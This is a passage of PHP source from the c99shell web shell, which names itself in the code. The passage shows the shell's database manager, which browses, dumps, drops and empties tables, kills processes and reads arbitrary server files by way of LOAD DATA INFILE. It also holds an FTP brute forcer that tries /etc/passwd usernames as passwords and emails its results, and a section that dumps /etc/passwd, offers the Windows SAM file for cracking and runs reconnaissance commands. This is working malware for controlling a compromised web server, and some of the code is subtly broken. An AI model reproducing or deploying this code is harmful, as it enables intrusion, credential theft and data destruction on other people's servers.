  1271. {
  1272. if (!empty($sql_tbl))
  1273. {
  1274. if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
  1275. $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
  1276. $count_row = mysql_fetch_array($count);
  1277. mysql_free_result($count);
  1278. $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
  1279. $tbl_struct_fields = array();
  1280. while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
  1281. if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
  1282. if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
  1283. if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
  1284. if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
  1285. $perpage = $sql_tbl_le - $sql_tbl_ls;
  1286. if (!is_numeric($perpage)) {$perpage = 10;}
  1287. $numpages = $count_row[0]/$perpage;
  1288. $e = explode(" ",$sql_order);
  1289. if (count($e) == 2)
  1290. {
  1291. if ($e[0] == "d") {$asc_desc = "DESC";}
  1292. else {$asc_desc = "ASC";}
  1293. $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
  1294. }
  1295. else {$v = "";}
  1296. $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
  1297. $result = mysql_query($query) or print(mysql_smarterror());
  1298. echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
  1299. echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  1300. echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  1301. echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  1302. echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  1303. if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";}
  1304. if ($sql_tbl_act == "insert")
  1305. {
  1306. if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
  1307. if (!empty($sql_tbl_insert_radio))
  1308. {
  1309.  
  1310. }
  1311. else
  1312. {
  1313. echo "<br><br><b>Inserting row into table:</b><br>";
  1314. if (!empty($sql_tbl_insert_q))
  1315. {
  1316. $sql_query = "SELECT * FROM `".$sql_tbl."`";
  1317. $sql_query .= " WHERE".$sql_tbl_insert_q;
  1318. $sql_query .= " LIMIT 1;";
  1319. $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
  1320. $values = mysql_fetch_assoc($result);
  1321. mysql_free_result($result);
  1322. }
  1323. else {$values = array();}
  1324. echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
  1325. foreach ($tbl_struct_fields as $field)
  1326. {
  1327. $name = $field["Field"];
  1328. if (empty($sql_tbl_insert_q)) {$v = "";}
  1329. echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
  1330. $i++;
  1331. }
  1332. echo "</table><br>";
  1333. echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
  1334. if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
  1335. echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
  1336. }
  1337. }
  1338. if ($sql_tbl_act == "browse")
  1339. {
  1340. $sql_tbl_ls = abs($sql_tbl_ls);
  1341. $sql_tbl_le = abs($sql_tbl_le);
  1342. echo "<hr size=\"1\" noshade>";
  1343. echo "[Pages]&nbsp;";
  1344. $b = 0;
  1345. for($i=0;$i<$numpages;$i++)
  1346. {
  1347. if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
  1348. echo $i;
  1349. if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
  1350. if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
  1351. else {echo "&nbsp;";}
  1352. }
  1353. if ($i == 0) {echo "empty";}
  1354. echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>";
  1355. echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1>";
  1356. echo "<tr>";
  1357. echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
  1358. for ($i=0;$i<mysql_num_fields($result);$i++)
  1359. {
  1360. $v = mysql_field_name($result,$i);
  1361. if ($e[0] == "a") {$s = "d"; $m = "asc";}
  1362. else {$s = "a"; $m = "desc";}
  1363. echo "<td>";
  1364. if (empty($e[0])) {$e[0] = "a";}
  1365. if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
  1366. else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\">[sort]</a>";}
  1367. echo "</td>";
  1368. }
  1369. echo "<td><font color=\"red\"><b>Action</b></font></td>";
  1370. echo "</tr>";
  1371. while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
  1372. {
  1373. echo "<tr>";
  1374. $w = "";
  1375. $i = 0;
  1376. foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}
  1377. if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
  1378. echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
  1379. $i = 0;
  1380. foreach ($row as $k=>$v)
  1381. {
  1382. $v = htmlspecialchars($v);
  1383. if ($v == "") {$v = "<font color=\"red\">NULL</font>";}
  1384. echo "<td>".$v."</td>";
  1385. $i++;
  1386. }
  1387. echo "<td>";
  1388. echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\">[Delete]</a>&nbsp;";
  1389. echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><b>[Edit]</b></a>&nbsp;";
  1390. echo "</td>";
  1391. echo "</tr>";
  1392. }
  1393. mysql_free_result($result);
  1394. echo "</table><hr size=\"1\" noshade><p align=\"left\"><select name=\"sql_act\">";
  1395. echo "<option value=\"\">With selected:</option>";
  1396. echo "<option value=\"deleterow\">Delete</option>";
  1397. echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
  1398. }
  1399. }
  1400. else
  1401. {
  1402. $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
  1403. if (!$result) {echo mysql_smarterror();}
  1404. else
  1405. {
  1406. echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
  1407. $i = 0;
  1408. $tsize = $trows = 0;
  1409. while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
  1410. {
  1411. $tsize += $row["Data_length"];
  1412. $trows += $row["Rows"];
  1413. $size = view_size($row["Data_length"]);
  1414. echo "<tr>";
  1415. echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";
  1416. echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>";
  1417. echo "<td>".$row["Rows"]."</td>";
  1418. echo "<td>".$row["Type"]."</td>";
  1419. echo "<td>".$row["Create_time"]."</td>";
  1420. echo "<td>".$row["Update_time"]."</td>";
  1421. echo "<td>".$size."</td>";
  1422. echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\">[Empty]</a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\">[Drop]</a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><b>[Insert]</b></a>&nbsp;</td>";
  1423. echo "</tr>";
  1424. $i++;
  1425. }
  1426. echo "<tr bgcolor=\"000000\">";
  1427. echo "<td><center><b>?/b></center></td>";
  1428. echo "<td><center><b>".$i." table(s)</b></center></td>";
  1429. echo "<td><b>".$trows."</b></td>";
  1430. echo "<td>".$row[1]."</td>";
  1431. echo "<td>".$row[10]."</td>";
  1432. echo "<td>".$row[11]."</td>";
  1433. echo "<td><b>".view_size($tsize)."</b></td>";
  1434. echo "<td></td>";
  1435. echo "</tr>";
  1436. echo "</table><hr size=\"1\" noshade><p align=\"right\"><select name=\"sql_act\">";
  1437. echo "<option value=\"\">With selected:</option>";
  1438. echo "<option value=\"tbldrop\">Drop</option>";
  1439. echo "<option value=\"tblempty\">Empty</option>";
  1440. echo "<option value=\"tbldump\">Dump</option>";
  1441. echo "<option value=\"tblcheck\">Check table</option>";
  1442. echo "<option value=\"tbloptimize\">Optimize table</option>";
  1443. echo "<option value=\"tblrepair\">Repair table</option>";
  1444. echo "<option value=\"tblanalyze\">Analyze table</option>";
  1445. echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
  1446. mysql_free_result($result);
  1447. }
  1448. }
  1449. }
  1450. }
  1451. }
  1452. else
  1453. {
  1454. $acts = array("","newdb","serverstatus","servervars","processes","getfile");
  1455. if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DataBase:</b>
  1456. <form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php }
  1457. if (!empty($sql_act))
  1458. {
  1459. echo "<hr size=\"1\" noshade>";
  1460. if ($sql_act == "newdb")
  1461. {
  1462. echo "<b>";
  1463. if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}
  1464. else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
  1465. }
  1466. if ($sql_act == "serverstatus")
  1467. {
  1468. $result = mysql_query("SHOW STATUS", $sql_sock);
  1469. echo "<center><b>Server-status variables:</b><br><br>";
  1470. echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
  1471. while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
  1472. echo "</table></center>";
  1473. mysql_free_result($result);
  1474. }
  1475. if ($sql_act == "servervars")
  1476. {
  1477. $result = mysql_query("SHOW VARIABLES", $sql_sock);
  1478. echo "<center><b>Server variables:</b><br><br>";
  1479. echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
  1480. while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
  1481. echo "</table>";
  1482. mysql_free_result($result);
  1483. }
  1484. if ($sql_act == "processes")
  1485. {
  1486. if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";}
  1487. $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
  1488. echo "<center><b>Processes:</b><br><br>";
  1489. echo "<TABLE width=100% id=bordered><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
  1490. while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}
  1491. echo "</table>";
  1492. mysql_free_result($result);
  1493. }
  1494. if ($sql_act == "getfile")
  1495. {
  1496. $tmpdb = $sql_login."_tmpdb";
  1497. $select = mysql_select_db($tmpdb);
  1498. if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
  1499. if ($select)
  1500. {
  1501. $created = FALSE;
  1502. mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
  1503. mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
  1504. $result = mysql_query("SELECT * FROM tmp_file;");
  1505. if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}
  1506. else
  1507. {
  1508. for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);}
  1509. $f = "";
  1510. while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);}
  1511. if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";}
  1512. else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
  1513. mysql_free_result($result);
  1514. mysql_query("DROP TABLE tmp_file;");
  1515. }
  1516. }
  1517. mysql_drop_db($tmpdb); //comment it if you want to leave database
  1518. }
  1519. }
  1520. }
  1521. }
  1522. echo "</td></tr></table>";
  1523. if ($sql_sock)
  1524. {
  1525. $affected = @mysql_affected_rows($sql_sock);
  1526. if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
  1527. echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>";
  1528. }
  1529. echo "</table>";
  1530. }
  1531. if ($act == "mkdir")
  1532. {
  1533. if ($mkdir != $d)
  1534. {
  1535. if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";}
  1536. elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";}
  1537. echo "<br><br>";
  1538. }
  1539. $act = $dspact = "ls";
  1540. }
  1541. if ($act == "ftpquickbrute")
  1542. {
  1543. echo "<b>FTP Brute Forcer: </b><br>";
  1544. if (!win) {echo "This functions not work in Windows!<br><br>";}
  1545. else
  1546. {
  1547. function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh)
  1548. {
  1549. if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));}
  1550. else {$TRUE = TRUE;}
  1551. if ($TRUE)
  1552. {
  1553. $sock = @ftp_connect($host,$port,$timeout);
  1554. if (@ftp_login($sock,$login,$pass))
  1555. {
  1556. echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>";
  1557. ob_flush();
  1558. return TRUE;
  1559. }
  1560. }
  1561. }
  1562. if (!empty($submit))
  1563. {
  1564. if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
  1565. $fp = fopen("/etc/passwd","r");
  1566. if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
  1567. else
  1568. {
  1569. if ($fqb_logging)
  1570. {
  1571. if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
  1572. else {$fqb_logfp = FALSE;}
  1573. $fqb_log = "FTP Quick Brute (called c99shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n";
  1574. if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  1575. }
  1576. ob_flush();
  1577. $i = $success = 0;
  1578. $ftpquick_st = getmicrotime();
  1579. while(!feof($fp))
  1580. {
  1581. $str = explode(":",fgets($fp,2048));
  1582. if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh))
  1583. {
  1584. echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>";
  1585. $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n";
  1586. if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  1587. $success++;
  1588. ob_flush();
  1589. }
  1590. if ($i > $fqb_lenght) {break;}
  1591. $i++;
  1592. }
  1593. if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";}
  1594. $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
  1595. echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=red><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>";
  1596. $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n";
  1597. if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  1598. if ($fqb_logemail) {@mail($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);}
  1599. fclose($fqb_logfp);
  1600. }
  1601. }
  1602. else
  1603. {
  1604. $logfile = $tmpdir_logs."ftpquickbrute_".date("d.m.Y_H_i_s").".log";
  1605. $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
  1606. echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\"><br>Read first: <input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell?&nbsp;<input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging?&nbsp;<input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br><br>Logging to file?&nbsp;<input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail?&nbsp;<input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=submit name=submit value=\"Brute\"></form>";
  1607. }
  1608. }
  1609. }
  1610. if ($act == "d")
  1611. {
  1612. if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";}
  1613. else
  1614. {
  1615. echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>";
  1616. if (!$win)
  1617. {
  1618. echo "<tr><td><b>Owner/Group</b></td><td> ";
  1619. $ow = posix_getpwuid(fileowner($d));
  1620. $gr = posix_getgrgid(filegroup($d));
  1621. $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
  1622. }
  1623. echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>";
  1624. }
  1625. }
  1626. if ($act == "phpinfo") {@ob_clean(); phpinfo(); c99shexit();}
  1627. if ($act == "security")
  1628. {
  1629. echo "<center><b>Server Information:</b></center><b>Open base dir: ".$hopenbasedir."</b><br>";
  1630. if (!$win)
  1631. {
  1632. if ($nixpasswd)
  1633. {
  1634. if ($nixpasswd == 1) {$nixpasswd = 0;}
  1635. echo "<b>*nix /etc/passwd:</b><br>";
  1636. if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
  1637. if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
  1638. echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>";
  1639. $i = $nixpwd_s;
  1640. while ($i < $nixpwd_e)
  1641. {
  1642. $uid = posix_getpwuid($i);
  1643. if ($uid)
  1644. {
  1645. $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>";
  1646. echo join(":",$uid)."<br>";
  1647. }
  1648. $i++;
  1649. }
  1650. }
  1651. else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";}
  1652. }
  1653. else
  1654. {
  1655. $v = $_SERVER["WINDIR"]."\repair\sam";
  1656. if (file_get_contents($v)) {echo "<b><font color=red>You can't crack winnt passwords(".$v.") </font></b><br>";}
  1657. else {echo "</br><b><font color=red>You can crack winnt passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ ?</font></b><br>";}
  1658. }
  1659. if (file_get_contents("/etc/userdomains")) {echo "<b><font color=red><a href=\"".$surl."act=f&f=userdomains&d=".urlencode("/etc")."&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";}
  1660. if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=red><a href=\"".$surl."act=f&f=accounting.log&d=".urlencode("/var/cpanel/")."\"&ft=txt><u><b>View cpanel logs</b></u></a></font></b><br>";}
  1661. if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=red><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/usr/local/apache/conf")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";}
  1662. if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=red><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";}
  1663. if (file_get_contents("/etc/syslog.conf")) {echo "<b><font color=red><a href=\"".$surl."act=f&f=syslog.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Syslog configuration (syslog.conf)</b></u></a></font></b><br>";}
  1664. if (file_get_contents("/etc/motd")) {echo "<b><font color=red><a href=\"".$surl."act=f&f=motd&d=".urlencode("/etc")."&ft=txt\"><u><b>Message Of The Day</b></u></a></font></b><br>";}
  1665. if (file_get_contents("/etc/hosts")) {echo "<b><font color=red><a href=\"".$surl."act=f&f=hosts&d=".urlencode("/etc")."&ft=txt\"><u><b>Hosts</b></u></a></font></b><br>";}
  1666. function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>".$name." - </b>";} echo $name.nl2br($value)."<br>";}}
  1667. displaysecinfo("OS Version?",myshellexec("cat /proc/version"));
  1668. displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version"));
  1669. displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net"));
  1670. displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise"));
  1671. displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo"));
  1672. displaysecinfo("RAM",myshellexec("free -m"));
  1673. displaysecinfo("HDD space",myshellexec("df -h"));
  1674. displaysecinfo("List of Attributes",myshellexec("lsattr -a"));
  1675. displaysecinfo("Mount options ",myshellexec("cat /etc/fstab"));
  1676. displaysecinfo("Is cURL installed?",myshellexec("which curl"));
  1677. displaysecinfo("Is lynx installed?",myshellexec("which lynx"));
  1678. displaysecinfo("Is links installed?",myshellexec("which links"));
  1679. displaysecinfo("Is fetch installed?",myshellexec("which fetch"));
  1680. displaysecinfo("Is GET installed?",myshellexec("which GET"));
  1681. displaysecinfo("Is perl installed?",myshellexec("which perl"));
  1682. displaysecinfo("Where is apache",myshellexec("whereis apache"));
  1683. displaysecinfo("Where is perl?",myshellexec("whereis perl"));
  1684. displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf"));
  1685. displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf"));
  1686. displaysecinfo("locate my.conf",myshellexec("locate my.conf"));
  1687. displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf"));
  1688. }
  1689. if ($act == "mkfile")
  1690. {
  1691. if ($mkfile != $d)
  1692. {
